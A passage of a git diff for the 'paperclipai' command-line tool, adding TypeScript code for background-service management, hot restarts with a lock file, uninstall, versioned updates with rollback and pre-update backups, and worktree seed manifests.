+ return buildLocalHealthUrl(config?.server.host, config?.server.port ?? 3100); +} + +async function probeHealth(instanceId: string): Promise { + try { + const response = await fetch(healthUrl(instanceId), { signal: AbortSignal.timeout(2_000) }); + const body = await response.json() as { status?: unknown; serverVersion?: unknown; version?: unknown }; + return { ok: response.ok && body.status === "ok", serverVersion: typeof body.serverVersion === "string" ? body.serverVersion : typeof body.version === "string" ? body.version : null }; + } catch (error) { + return { ok: false, serverVersion: null, error: error instanceof Error ? error.message : String(error) }; + } +} + +async function waitForHealth(instanceId: string, expectedVersion: string | null, timeoutMs = 60_000): Promise { + const deadline = Date.now() + timeoutMs; + let last: HealthResult = { ok: false, serverVersion: null }; + while (Date.now() < deadline) { + last = await probeHealth(instanceId); + if (last.ok && (!expectedVersion || last.serverVersion === expectedVersion)) return last; + await new Promise((resolve) => setTimeout(resolve, 500)); + } + throw new Error(`Paperclip service did not become healthy${expectedVersion ? ` at version ${expectedVersion}` : ""}: ${last.error ?? `reported ${last.serverVersion ?? "no version"}`}`); +} + +export function resolveRestartExpectedVersion(expectedVersion: string | null | undefined): string | null { + return expectedVersion ?? null; +} + +export async function withHotRestartLock( + instanceId: string, + callback: () => Promise, + options: { timeoutMs?: number; pollMs?: number; isProcessAlive?: (pid: number) => boolean } = {}, +): Promise { + const instanceRoot = resolvePaperclipInstanceRoot(instanceId); + const lockPath = path.join(instanceRoot, "hot-restart.lock"); + const token = `${process.pid}:${Date.now()}:${Math.random().toString(16).slice(2)}`; + const deadline = Date.now() + (options.timeoutMs ?? 120_000); + const pollMs = options.pollMs ?? 100; + const isProcessAlive = options.isProcessAlive ?? ((pid: number) => { + try { + process.kill(pid, 0); + return true; + } catch (error) { + return (error as NodeJS.ErrnoException).code !== "ESRCH"; + } + }); + await fs.mkdir(instanceRoot, { recursive: true }); + + while (true) { + try { + await fs.writeFile(lockPath, `${token}\n`, { encoding: "utf8", mode: 0o600, flag: "wx" }); + break; + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "EEXIST") throw error; + try { + const existingToken = (await fs.readFile(lockPath, "utf8")).trim(); + const ownerPid = Number.parseInt(existingToken.split(":", 1)[0] ?? "", 10); + if (Number.isInteger(ownerPid) && ownerPid > 0 && !isProcessAlive(ownerPid)) { + if ((await fs.readFile(lockPath, "utf8")).trim() === existingToken) { + await fs.rm(lockPath, { force: true }); + continue; + } + } + } catch (readError) { + if ((readError as NodeJS.ErrnoException).code === "ENOENT") continue; + throw readError; + } + if (Date.now() >= deadline) { + throw new Error( + `Another restart for instance ${instanceId} is still running. ` + + `If no restart process is active, remove the stale lock at ${lockPath} and retry.`, + ); + } + await new Promise((resolve) => setTimeout(resolve, pollMs)); + } + } + + try { + return await callback(); + } finally { + try { + if ((await fs.readFile(lockPath, "utf8")).trim() === token) { + await fs.rm(lockPath, { force: true }); + } + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "ENOENT") throw error; + } + } +} + +async function writeHotRestartIntent(status: ServiceStatus, instanceId: string, drainRequired: boolean): Promise<{ requestedAt: string }> { + if (!status.pid) throw new Error(`Cannot restart ${status.serviceName}: supervisor did not report a server pid.`); + const health = await probeHealth(instanceId); + const instanceRoot = resolvePaperclipInstanceRoot(instanceId); + const requestedAt = new Date().toISOString(); + await fs.mkdir(instanceRoot, { recursive: true }); + await fs.rm(path.join(instanceRoot, "hot-restart-report.json"), { force: true }); + await fs.writeFile(path.join(instanceRoot, "hot-restart-intent.json"), `${JSON.stringify({ + version: 1, + requestedAt, + previousServerPid: status.pid, + previousServerVersion: health.serverVersion, + drainRequired, + requestedByRunId: process.env.PAPERCLIP_RUN_ID?.trim() || null, + }, null, 2)}\n`, "utf8"); + return { requestedAt }; +} + +async function waitForRestartReport(instanceId: string, requestedAt: string, timeoutMs = 10_000): Promise { + const reportPath = path.join(resolvePaperclipInstanceRoot(instanceId), "hot-restart-report.json"); + const deadline = Date.now() + timeoutMs; + while (Date.now() < deadline) { + try { + const report = JSON.parse(await fs.readFile(reportPath, "utf8")) as { requestedAt?: unknown }; + if (report.requestedAt === requestedAt) return report; + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "ENOENT") throw error; + } + await new Promise((resolve) => setTimeout(resolve, 250)); + } + return null; +} + +export async function restartManagedService(input: { instanceId?: string; expectedVersion?: string | null; waitForDrain?: boolean } = {}): Promise<{ status: ServiceStatus; health: HealthResult; report: unknown | null }> { + const instanceId = resolvePaperclipInstanceId(input.instanceId); + return withHotRestartLock(instanceId, async () => { + const detection = await detectServiceManager({ instanceId }); + if (!detection.supported) throw new Error(detection.reason); + const before = await detection.manager.status(); + const intent = await writeHotRestartIntent(before, instanceId, input.waitForDrain ?? false); + await detection.manager.restart(); + const health = await waitForHealth(instanceId, resolveRestartExpectedVersion(input.expectedVersion)); + return { status: await detection.manager.status(), health, report: await waitForRestartReport(instanceId, intent.requestedAt) }; + }); +} + +export function registerServiceCommands(program: Command): void { + const service = program.command("service").description("Manage Paperclip as a background service"); + const common = (command: Command) => command.option("-i, --instance ", "Local instance id (default: default)").option("--json", "Print machine-readable JSON", false); + + common(service.command("install").description("Install and register the background service")) + .option("--no-start-now", "Install without starting now") + .option("--no-start-on-login", "Install without enabling start on login") + .option("--enable-linger", "Allow systemd startup without an active login session", false) + .action(async (opts) => { + const manager = await resolveManager(opts); if (!manager) return; + const result = await manager.install({ startNow: opts.startNow, startOnLogin: opts.startOnLogin }); + let lingerEnabled = false; + if (manager.enableLinger) { + let consent = opts.enableLinger === true; + if (!consent && process.stdin.isTTY && process.stdout.isTTY) { + consent = await p.confirm({ message: "Allow Paperclip to run without an active login session? This runs 'loginctl enable-linger' for your user and may request system authorization.", initialValue: false }) === true; + } + if (consent) { await manager.enableLinger(); lingerEnabled = true; } + } + output({ installed: true, changed: result.changed, platform: manager.platform, serviceName: manager.serviceName, definitionPath: manager.definitionPath, lingerEnabled }, opts.json); + }); + + common(service.command("uninstall").description("Stop, disable, and remove the background service")).action(async (opts) => { + const manager = await resolveManager(opts); if (!manager) return; + await manager.uninstall(); + const status = await manager.status(); + if (status.installed || status.active) throw new Error(`${manager.serviceName} is still loaded after uninstall.`); + output({ uninstalled: true, serviceName: manager.serviceName }, opts.json); + }); + + for (const verb of ["start", "stop"] as const) { + common(service.command(verb).description(`${verb === "start" ? "Start" : "Stop"} the background service`)).action(async (opts) => { + const manager = await resolveManager(opts); if (!manager) return; + await manager[verb](); + output(await manager.status(), opts.json); + }); + } + + common(service.command("restart").description("Hot-restart the service while preserving active agent runs")) + .option("--wait", "Wait for active runs to drain instead of adopting them", false) + .option("--expected-version ", "Require the restarted server to report this version") + .action(async (opts) => output(await restartManagedService({ instanceId: opts.instance, expectedVersion: opts.expectedVersion, waitForDrain: opts.wait }), opts.json)); + + common(service.command("status").description("Show supervisor and health status")).action(async (opts) => { + const manager = await resolveManager(opts); if (!manager) return; + const instanceId = resolvePaperclipInstanceId(opts.instance); + output({ ...await manager.status(), health: await probeHealth(instanceId) }, opts.json); + }); + + common(service.command("logs").description("Show service logs")) + .option("-f, --follow", "Follow new log output", false) + .option("-n, --lines ", "Number of recent lines", "100") + .action(async (opts) => { + const manager = await resolveManager(opts); if (!manager) return; + const lines = Number.parseInt(opts.lines, 10); + if (!Number.isInteger(lines) || lines < 1) throw new Error("--lines must be a positive integer."); + await manager.logs(opts.follow, lines); + }); +} diff --git a/cli/src/commands/uninstall.ts b/cli/src/commands/uninstall.ts new file mode 100644 index 00000000000..2125df33aab --- /dev/null +++ b/cli/src/commands/uninstall.ts @@ -0,0 +1,90 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import pc from "picocolors"; +import { + assertManagedInstallStore, + removeManagedPathBlock, + removeManagedShim, + resolveInstallStorePaths, + withInstallStoreLock, +} from "../install-store.js"; +import { resolvePaperclipInstanceId } from "../config/home.js"; +import { detectServiceManager, launchdServiceName, systemdServiceName } from "../services/service-manager.js"; + +type UninstallDependencies = { + detectServiceManager: typeof detectServiceManager; + platform: NodeJS.Platform; + userHomeDir: string; +}; + +function otherServiceDefinitions(platform: NodeJS.Platform, userHomeDir: string, instanceId: string): string[] { + const directory = platform === "linux" + ? path.join(userHomeDir, ".config", "systemd", "user") + : platform === "darwin" + ? path.join(userHomeDir, "Library", "LaunchAgents") + : null; + if (!directory || !fs.existsSync(directory)) return []; + const currentName = platform === "linux" + ? systemdServiceName(instanceId) + : `${launchdServiceName(instanceId)}.plist`; + const pattern = platform === "linux" + ? /^paperclipai(?:-.+)?\.service$/ + : /^ing\.paperclip\.paperclipai(?:\..+)?\.plist$/; + return fs.readdirSync(directory) + .filter((name) => name !== currentName && pattern.test(name)) + .map((name) => path.join(directory, name)); +} + +export async function uninstallCommand( + dependencies: Partial = {}, +): Promise { + const instanceId = resolvePaperclipInstanceId(); + const detect = dependencies.detectServiceManager ?? detectServiceManager; + const platform = dependencies.platform ?? process.platform; + const userHomeDir = dependencies.userHomeDir ?? os.homedir(); + const detection = await detect({ instanceId, platform }); + const otherDefinitions = otherServiceDefinitions(platform, userHomeDir, instanceId); + if (otherDefinitions.length > 0) { + throw new Error(`Cannot remove the shared managed CLI while other instance services are installed: ${otherDefinitions.join(", ")}. Uninstall those services first.`); + } + if (!detection.supported && platform === "linux") { + const definitionPath = path.join( + userHomeDir, + ".config", + "systemd", + "user", + systemdServiceName(instanceId), + ); + if (fs.existsSync(definitionPath)) { + throw new Error( + `Cannot verify or remove the background service: ${detection.reason}. Retry when the service manager is available.`, + ); + } + } + if (detection.supported) { + const status = await detection.manager.status(); + if (status.installed || status.active) await detection.manager.uninstall(); + } + + const paths = resolveInstallStorePaths(); + const hadStore = fs.existsSync(paths.cliRoot); + if (hadStore) assertManagedInstallStore(paths); + const shimRemoved = await withInstallStoreLock(async () => { + if (hadStore) assertManagedInstallStore(paths); + const removed = removeManagedShim(paths); + + const home = process.env.HOME; + for (const rcFile of home ? [path.join(home, ".bashrc"), path.join(home, ".zshrc")] : []) { + removeManagedPathBlock(rcFile); + } + fs.rmSync(paths.cliRoot, { recursive: true, force: true }); + return removed; + }, paths, { initialize: !hadStore }); + + if (!shimRemoved) { + console.log(pc.yellow(`Left ${paths.shimPath} unchanged because it is not a Paperclip-managed shim.`)); + } + console.log(pc.green("Removed the managed Paperclip CLI install.")); + console.log(pc.dim(`User data was left untouched under ${paths.paperclipHome}.`)); +} diff --git a/cli/src/commands/update.ts b/cli/src/commands/update.ts new file mode 100644 index 00000000000..4c76fa3bd24 --- /dev/null +++ b/cli/src/commands/update.ts @@ -0,0 +1,268 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { execFile } from "node:child_process"; +import { promisify } from "node:util"; +import * as p from "@clack/prompts"; +import pc from "picocolors"; +import { buildNextManifest, flipCurrentAtomic, isManagedExecutable, pruneInstallPayloads, readInstallManifest, resolveInstallStorePaths, withInstallStoreLock, writeInstallManifestAtomic, type InstallChannel, type InstallManifest, type InstallRecord, type InstallStorePaths } from "../install-store.js"; +import { dbBackupCommand } from "./db-backup.js"; +import { installGitPayload, installNpmPayload, PUBLIC_NPM_REGISTRY, resolveGitHubRef, resolvePublishedVersion, type CommandRunner } from "./install.js"; +import { resolvePaperclipInstanceId, resolvePaperclipInstanceRoot } from "../config/home.js"; +import { resolveConfigPath } from "../config/store.js"; +import { detectServiceManager } from "../services/service-manager.js"; +import { restartManagedService } from "./service.js"; +import { packageVersion } from "../version.js"; + +const execFileAsync = promisify(execFile); +export type InstallMode = "managed" | "global-npm" | "npx" | "source" | "unknown"; +export type UpdateOptions = { canary?: boolean; latest?: boolean; version?: string; rollback?: boolean; check?: boolean; dryRun?: boolean; json?: boolean; yes?: boolean; backup?: boolean }; +type Dependencies = { executablePath: string; runCommand: CommandRunner; backup: () => Promise; confirm: (message: string) => Promise; now: () => Date; paths: InstallStorePaths; restartActiveService: (expectedVersion: string) => Promise; hasInstanceData: () => boolean }; + +const DATABASE_UNREACHABLE_CODES = new Set(["ECONNREFUSED", "EHOSTUNREACH", "ENETUNREACH", "ETIMEDOUT"]); + +function hasPaperclipInstanceData(): boolean { + return Boolean(process.env.DATABASE_URL?.trim()) + || fs.existsSync(resolveConfigPath()) + || fs.existsSync(resolvePaperclipInstanceRoot()); +} + +function isDatabaseUnreachableError(error: unknown): boolean { + const pending = [error]; + const seen = new Set(); + while (pending.length > 0) { + const current = pending.pop(); + if (current === null || current === undefined || seen.has(current)) continue; + seen.add(current); + if (typeof current === "string") { + if (/\b(?:ECONNREFUSED|EHOSTUNREACH|ENETUNREACH|ETIMEDOUT)\b|connection refused/i.test(current)) return true; + continue; + } + if (typeof current !== "object") continue; + const record = current as Record; + if (typeof record.code === "string" && DATABASE_UNREACHABLE_CODES.has(record.code)) return true; + if (typeof record.message === "string" && /\b(?:ECONNREFUSED|EHOSTUNREACH|ENETUNREACH|ETIMEDOUT)\b|connection refused/i.test(record.message)) return true; + if (record.cause !== undefined) pending.push(record.cause); + if (Array.isArray(record.errors)) pending.push(...record.errors); + } + return false; +} + +async function runPreUpdateBackup(options: UpdateOptions, backup: () => Promise, hasInstanceData = hasPaperclipInstanceData): Promise { + if (!hasInstanceData()) { + const message = "Skipping the pre-update backup because this Paperclip instance has not been onboarded and has no data to back up."; + if (options.json) console.error(message); else console.log(pc.yellow(message)); + return; + } + try { + await backup(); + } catch (error) { + if (isDatabaseUnreachableError(error)) { + throw new Error( + "The Paperclip database is not running or reachable, so the pre-update backup cannot be taken. Start the service with `paperclipai service start` and retry, or skip the backup with `paperclipai update --no-backup`.", + { cause: error }, + ); + } + throw error; + } +} + +async function restartActiveManagedService(expectedVersion: string): Promise { + const instanceId = resolvePaperclipInstanceId(); + const detection = await detectServiceManager({ instanceId }); + if (!detection.supported || !(await detection.manager.status()).active) return false; + await restartManagedService({ instanceId, expectedVersion }); + return true; +} + +export function detectInstallMode(executablePath = process.argv[1] ?? "", paths = resolveInstallStorePaths()): InstallMode { + const resolved = path.resolve(executablePath || "."); + const manifest = readInstallManifest(paths); + if (manifest && isManagedExecutable(resolved, manifest, paths)) return "managed"; + const normalized = resolved.split(path.sep).join("/"); + if (normalized.includes("/.npm/_npx/") || normalized.includes("/node_modules/.cache/npx/")) return "npx"; + if (normalized.includes("/node_modules/paperclipai/")) return "global-npm"; + let cursor = path.dirname(resolved); + while (cursor !== path.dirname(cursor)) { + if (fs.existsSync(path.join(cursor, ".git"))) return "source"; + cursor = path.dirname(cursor); + } + return "unknown"; +} + +export function compareVersions(left: string, right: string): number { + const parse = (value: string) => { const [core, prerelease = ""] = value.replace(/^v/, "").split("-", 2); return { numbers: core.split(".").map((part) => Number(part) || 0), prerelease }; }; + const a = parse(left); const b = parse(right); + for (let index = 0; index < Math.max(a.numbers.length, b.numbers.length); index += 1) { const delta = (a.numbers[index] ?? 0) - (b.numbers[index] ?? 0); if (delta !== 0) return Math.sign(delta); } + if (a.prerelease === b.prerelease) return 0; + if (!a.prerelease) return 1; + if (!b.prerelease) return -1; + const aParts = a.prerelease.split("."); + const bParts = b.prerelease.split("."); + for (let index = 0; index < Math.max(aParts.length, bParts.length); index += 1) { + const leftPart = aParts[index]; + const rightPart = bParts[index]; + if (leftPart === undefined) return -1; + if (rightPart === undefined) return 1; + if (leftPart === rightPart) continue; + const leftNumeric = /^\d+$/.test(leftPart); + const rightNumeric = /^\d+$/.test(rightPart); + if (leftNumeric && rightNumeric) return Math.sign(Number(leftPart) - Number(rightPart)); + if (leftNumeric !== rightNumeric) return leftNumeric ? -1 : 1; + return leftPart < rightPart ? -1 : 1; + } + return 0; +} + +export function resolveUpdateRequest(manifest: InstallManifest | null, options: Pick): { spec: string; channel: InstallChannel; explicit: boolean } { + const selected = Number(Boolean(options.canary)) + Number(Boolean(options.latest)) + Number(Boolean(options.version)); + if (selected > 1) throw new Error("Choose only one of --latest, --canary, or --version."); + if (options.version) return { spec: options.version.trim(), channel: "pinned", explicit: true }; + if (options.canary) return { spec: "canary", channel: "canary", explicit: true }; + if (options.latest) return { spec: "latest", channel: "latest", explicit: true }; + if (manifest?.channel === "pinned") return { spec: manifest.version, channel: "pinned", explicit: false }; + const channel = manifest?.channel === "canary" ? "canary" : "latest"; + return { spec: channel, channel, explicit: false }; +} + +export function rollbackManagedInstall(paths = resolveInstallStorePaths()): InstallManifest { + const manifest = readInstallManifest(paths); + if (!manifest) throw new Error("No managed install was found to roll back."); + const target = manifest.previous[0]; + if (!target) throw new Error("No previous managed payload is available for rollback."); + if (!fs.existsSync(target.payloadPath)) throw new Error(`Previous payload is missing: ${target.payloadPath}`); + const current: InstallRecord = { source: manifest.source, version: manifest.version, channel: manifest.channel, payloadPath: manifest.payloadPath, repo: manifest.repo, ref: manifest.ref, sha: manifest.sha, installedAt: manifest.installedAt }; + const next: InstallManifest = { schemaVersion: manifest.schemaVersion, ...target, previous: [current, ...manifest.previous.slice(1)].slice(0, 2) }; + const oldTarget = fs.readlinkSync(paths.currentPath); + flipCurrentAtomic(target.payloadPath, paths); + try { writeInstallManifestAtomic(next, paths); } catch (error) { flipCurrentAtomic(path.resolve(paths.cliRoot, oldTarget), paths); throw error; } + return next; +} + +async function defaultConfirm(message: string): Promise { + if (!process.stdin.isTTY || !process.stdout.isTTY) return false; + const answer = await p.confirm({ message, initialValue: false }); + return !p.isCancel(answer) && answer === true; +} +function emit(options: UpdateOptions, value: Record, message: string): void { if (options.json) console.log(JSON.stringify(value, null, 2)); else console.log(message); } + +async function rollbackAfterServiceValidationFailure( + paths: InstallStorePaths, + restartActiveService: (expectedVersion: string) => Promise, + validationError: unknown, + payloadLabel: string, +): Promise { + const rolledBack = await withInstallStoreLock(async () => rollbackManagedInstall(paths), paths); + try { + await restartActiveService(rolledBack.version); + } catch (restartError) { + throw new Error( + `${payloadLabel} failed service validation and was rolled back to ${rolledBack.version}, but the rolled-back service also failed to restart.`, + { cause: new AggregateError([validationError, restartError]) }, + ); + } + throw new Error(`${payloadLabel} failed service validation and was rolled back to ${rolledBack.version}.`, { cause: validationError }); +} + +export async function updateCommand(options: UpdateOptions, overrides: Partial = {}): Promise { + const paths = overrides.paths ?? resolveInstallStorePaths(); + const executablePath = overrides.executablePath ?? process.argv[1] ?? ""; + const runCommand = overrides.runCommand ?? execFileAsync; + const mode = detectInstallMode(executablePath, paths); + const manifest = readInstallManifest(paths); + if (options.rollback) { + if (mode !== "managed") throw new Error("--rollback is only available for managed installs."); + if (options.dryRun) { emit(options, { mode, action: "rollback", dryRun: true, target: manifest?.previous[0]?.version ?? null }, `Would roll back to ${manifest?.previous[0]?.version ?? "the previous payload"}.`); return; } + const next = await withInstallStoreLock(async () => rollbackManagedInstall(paths), paths); + const restarted = await (overrides.restartActiveService ?? restartActiveManagedService)(next.version); + emit(options, { mode, action: "rollback", version: next.version, restarted }, pc.green(`Rolled back to paperclipai ${next.version}${restarted ? " and restarted the active service" : ""}. Database migrations are not reversed; restore the pre-update backup if needed.`)); + return; + } + if (mode === "npx") { emit(options, { mode, action: "install" }, "This is an ephemeral npx install. Run `paperclipai install`, then use `paperclipai update` from the managed shim."); return; } + if (mode === "source" || mode === "unknown") { emit(options, { mode, action: "manual" }, "This appears to be a source checkout. Update it with `git pull` followed by `pnpm install`; Paperclip will not mutate the repository."); return; } + const request = resolveUpdateRequest(mode === "managed" ? manifest : null, options); + if (mode === "managed" && manifest?.source === "git") { + if (!manifest.repo || !manifest.ref || !manifest.sha) throw new Error("Managed git install metadata is incomplete."); + if (/^[0-9a-f]{7,40}$/i.test(manifest.ref)) { emit(options, { mode, source: "git", pinned: true, sha: manifest.sha }, `Git install is pinned at ${manifest.sha.slice(0, 12)}.`); return; } + const targetSha = await resolveGitHubRef(manifest.repo, manifest.ref, runCommand); + if (targetSha === manifest.sha) { emit(options, { mode, source: "git", changed: false, sha: targetSha, ref: manifest.ref }, `${manifest.repo}@${manifest.ref} is already at ${targetSha.slice(0, 12)}.`); return; } + if (options.check || options.dryRun) { emit(options, { mode, source: "git", changed: true, currentSha: manifest.sha, targetSha, ref: manifest.ref, dryRun: Boolean(options.dryRun) }, `Git update available: ${manifest.sha.slice(0, 12)} → ${targetSha.slice(0, 12)}.`); if (options.check) process.exitCode = 10; return; } + if (options.yes !== true) { + const confirmed = await (overrides.confirm ?? defaultConfirm)(`Update from ${manifest.repo}@${manifest.ref} and execute build scripts from commit ${targetSha.slice(0, 12)}?`); + if (!confirmed) throw new Error("Git update cancelled. Re-run with --yes to confirm executing build scripts from the updated commit."); + } + if (options.backup !== false) await runPreUpdateBackup(options, overrides.backup ?? (() => dbBackupCommand({})), overrides.hasInstanceData); + const installed = await withInstallStoreLock(async () => { + const payload = await installGitPayload(manifest.repo!, targetSha, runCommand, paths); + const record: InstallRecord = { source: "git", version: payload.version, channel: "pinned", repo: manifest.repo, ref: manifest.ref, sha: targetSha, payloadPath: payload.payloadPath, installedAt: (overrides.now?.() ?? new Date()).toISOString() }; + const next = buildNextManifest(record, manifest); const oldTarget = fs.readlinkSync(paths.currentPath); flipCurrentAtomic(payload.payloadPath, paths); + try { writeInstallManifestAtomic(next, paths); } catch (error) { flipCurrentAtomic(path.resolve(paths.cliRoot, oldTarget), paths); throw error; } + pruneInstallPayloads(next, paths); return payload; + }, paths); + let restarted: boolean; + try { + restarted = await (overrides.restartActiveService ?? restartActiveManagedService)(installed.version); + } catch (error) { + return rollbackAfterServiceValidationFailure( + paths, + overrides.restartActiveService ?? restartActiveManagedService, + error, + "Updated git payload", + ); + } + emit(options, { mode, source: "git", changed: true, currentSha: manifest.sha, targetSha, reused: installed.reused, restarted }, pc.yellow(`Updated unreleased git payload ${manifest.sha.slice(0, 12)} → ${targetSha.slice(0, 12)} from ${manifest.repo}@${manifest.ref}${restarted ? " and restarted the active service" : ""}.`)); + return; + } + const targetVersion = await resolvePublishedVersion(request.spec, runCommand); + const currentVersion = manifest?.version ?? (mode === "global-npm" ? packageVersion : undefined); + const comparison = currentVersion ? compareVersions(targetVersion, currentVersion) : 1; + if (options.check) { emit(options, { mode, currentVersion: currentVersion ?? null, targetVersion, updateAvailable: comparison > 0, downgrade: comparison < 0, channel: request.channel }, comparison > 0 ? `Update available: ${targetVersion}` : comparison < 0 ? `Target ${targetVersion} is older than ${currentVersion}.` : `paperclipai ${targetVersion} is current.`); if (comparison > 0) process.exitCode = 10; return; } + if (mode === "global-npm") { + if (comparison < 0 && options.yes !== true) { const confirmed = await (overrides.confirm ?? defaultConfirm)(`Downgrade paperclipai from ${currentVersion} to ${targetVersion}?`); if (!confirmed) throw new Error("Downgrade cancelled. Re-run with --yes to confirm explicitly."); } + const args = ["install", "-g", `paperclipai@${targetVersion}`, `--registry=${PUBLIC_NPM_REGISTRY}`, `--@paperclipai:registry=${PUBLIC_NPM_REGISTRY}`]; console.log(`Running: npm ${args.join(" ")}`); + if (!options.dryRun) { + const npmConfigDir = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-npm-")); + const npmUserConfigPath = path.join(npmConfigDir, "npmrc"); + try { + fs.writeFileSync(npmUserConfigPath, `registry=${PUBLIC_NPM_REGISTRY}\n@paperclipai:registry=${PUBLIC_NPM_REGISTRY}\n`, { mode: 0o600 }); + await runCommand("npm", args, { + env: { + ...process.env, + npm_config_registry: PUBLIC_NPM_REGISTRY, + NPM_CONFIG_REGISTRY: PUBLIC_NPM_REGISTRY, + npm_config_userconfig: npmUserConfigPath, + NPM_CONFIG_USERCONFIG: npmUserConfigPath, + }, + maxBuffer: 16 * 1024 * 1024, + }); + } finally { + fs.rmSync(npmConfigDir, { recursive: true, force: true }); + } + } + emit(options, { mode, action: "update", targetVersion, dryRun: Boolean(options.dryRun), command: ["npm", ...args] }, options.dryRun ? "Dry run complete." : pc.green(`Updated global npm install to ${targetVersion}.`)); return; + } + if (!manifest) throw new Error("Managed install metadata is missing."); + if (comparison === 0) { emit(options, { mode, currentVersion, targetVersion, changed: false }, `paperclipai ${targetVersion} is already active.`); return; } + if (comparison < 0 && options.yes !== true) { const confirmed = await (overrides.confirm ?? defaultConfirm)(`Downgrade paperclipai from ${currentVersion} to ${targetVersion}?`); if (!confirmed) throw new Error("Downgrade cancelled. Re-run with --yes to confirm explicitly."); } + if (options.dryRun) { emit(options, { mode, currentVersion, targetVersion, action: comparison < 0 ? "downgrade" : "update", backup: options.backup !== false, dryRun: true }, `Would ${comparison < 0 ? "downgrade" : "update"} paperclipai ${currentVersion} → ${targetVersion}${options.backup === false ? " without a backup" : " after a database backup"}.`); return; } + if (options.backup !== false) await runPreUpdateBackup(options, overrides.backup ?? (() => dbBackupCommand({})), overrides.hasInstanceData); + const installed = await withInstallStoreLock(async () => { + const payload = await installNpmPayload(targetVersion, runCommand, paths); + const record: InstallRecord = { source: "npm", version: targetVersion, channel: request.channel, payloadPath: payload.payloadPath, installedAt: (overrides.now?.() ?? new Date()).toISOString() }; + const next = buildNextManifest(record, manifest); const oldTarget = fs.readlinkSync(paths.currentPath); flipCurrentAtomic(payload.payloadPath, paths); + try { writeInstallManifestAtomic(next, paths); } catch (error) { flipCurrentAtomic(path.resolve(paths.cliRoot, oldTarget), paths); throw error; } + pruneInstallPayloads(next, paths); return payload; + }, paths); + let restarted: boolean; + try { + restarted = await (overrides.restartActiveService ?? restartActiveManagedService)(targetVersion); + } catch (error) { + return rollbackAfterServiceValidationFailure( + paths, + overrides.restartActiveService ?? restartActiveManagedService, + error, + "Updated payload", + ); + } + emit(options, { mode, currentVersion, targetVersion, changed: true, reused: installed.reused, restarted }, pc.green(`Updated paperclipai ${currentVersion} → ${targetVersion}${restarted ? " and restarted the active service" : ""}. Run \`paperclipai update --rollback\` for an instant payload rollback.`)); +} diff --git a/cli/src/commands/worktree-lib.ts b/cli/src/commands/worktree-lib.ts index 2be4528e507..4cdf7ef5364 100644 --- a/cli/src/commands/worktree-lib.ts +++ b/cli/src/commands/worktree-lib.ts @@ -5,9 +5,52 @@ import { expandHomePrefix } from "../config/home.js"; export const DEFAULT_WORKTREE_HOME = "~/.paperclip-worktrees"; export const WORKTREE_SEED_MODES = ["minimal", "full"] as const; +export const WORKTREE_SEED_MANIFEST = "seed-manifest.json"; +export const WORKTREE_SEED_PENDING_MARKER = "seed-pending"; +export const WORKTREE_SEED_COMPLETE_MARKER = "seed-complete"; +export const WORKTREE_SEED_LOCK_MARKER = "seed.lock"; export type WorktreeSeedMode = (typeof WORKTREE_SEED_MODES)[number]; +export const WORKTREE_SEED_PHASES = [ + "pending", + "source_validation", + "snapshot", + "restore", + "migrations", + "execution_quarantine", + "routine_pause", + "workspace_rebind", + "post_restore_validation", + "complete", +] as const; + +export type WorktreeSeedPhase = (typeof WORKTREE_SEED_PHASES)[number]; +export type WorktreeSeedState = "pending" | "running" | "verified" | "failed"; + +export type WorktreeSeedManifest = { + version: 2; + source: { + instanceId: string; + configPath: string; + }; + snapshotAt: string | null; + seedMode: WorktreeSeedMode; + migrationRevision: string | null; + targetInstanceId: string; + phase: WorktreeSeedPhase; + state: WorktreeSeedState; + attemptId: string; + startedAt: string | null; + finishedAt: string | null; + diagnostics: Array<{ + phase: WorktreeSeedPhase; + status: "started" | "succeeded" | "failed"; + at: string; + message?: string; + }>; +}; + export type WorktreeSeedPlan = { mode: WorktreeSeedMode; excludedTables: string[]; @@ -50,6 +93,23 @@ export type WorktreeUiBranding = { color: string; }; +export type WorktreeSeedMarkerPaths = { + manifest: string; + pending: string; + complete: string; + lock: string; +}; + +export function resolveWorktreeSeedMarkerPaths(configPath: string): WorktreeSeedMarkerPaths { + const configDir = path.dirname(path.resolve(configPath)); + return { + manifest: path.resolve(configDir, WORKTREE_SEED_MANIFEST), + pending: path.resolve(configDir, WORKTREE_SEED_PENDING_MARKER), + complete: path.resolve(configDir, WORKTREE_SEED_COMPLETE_MARKER), + lock: path.resolve(configDir, WORKTREE_SEED_LOCK_MARKER), + }; +} + export function isWorktreeSeedMode(value: string): value is WorktreeSeedMode { return (WORKTREE_SEED_MODES as readonly string[]).includes(value); } @@ -197,7 +257,7 @@ export function buildWorktreeConfig(input: { embeddedPostgresDataDir: paths.embeddedPostgresDataDir, embeddedPostgresPort: databasePort, backup: { - enabled: source?.database.backup.enabled ?? true, + enabled: false, intervalMinutes: source?.database.backup.intervalMinutes ?? 60, retentionDays: source?.database.backup.retentionDays ?? 30, dir: paths.backupDir, @@ -258,6 +318,7 @@ export function buildWorktreeEnvEntries( PAPERCLIP_CONFIG: paths.configPath, PAPERCLIP_CONTEXT: paths.contextPath, PAPERCLIP_IN_WORKTREE: "true", + PAPERCLIP_DB_BACKUP_ENABLED: "false", ...(branding?.name ? { PAPERCLIP_WORKTREE_NAME: branding.name } : {}), ...(branding?.color ? { PAPERCLIP_WORKTREE_COLOR: branding.color } : {}), }; diff --git a/cli/src/commands/worktree.ts b/cli/src/commands/worktree.ts index ff4c6498f39..6b7c76ed70f 100644 --- a/cli/src/commands/worktree.ts +++ b/cli/src/commands/worktree.ts @@ -7,6 +7,7 @@ import { readdirSync, readFileSync, readlinkSync, + renameSync, rmSync, statSync, symlinkSync, @@ -15,20 +16,34 @@ import { import os from "node:os"; import path from "node:path"; import { execFileSync } from "node:child_process"; +import { randomUUID } from "node:crypto"; import { createServer } from "node:net"; import { Readable } from "node:stream"; import * as p from "@clack/prompts"; import pc from "picocolors"; import { and, eq, inArray, sql } from "drizzle-orm"; +import { + resolveCanonicalWorktreeSeedSource, + resolveRegisteredWorktreeSeedSource, +} from "@paperclipai/shared/worktree-seed-source"; +import { + readWorktreePortRegistry, + withWorktreePortRegistryLock, + writeWorktreePortRegistry, +} from "@paperclipai/shared/worktree-port-registry"; import { applyPendingMigrations, agents, + authAccounts, + authUsers, assets, companies, + companyMemberships, createDb, documentRevisions, documents, ensurePostgresDatabase, + executionWorkspaces, 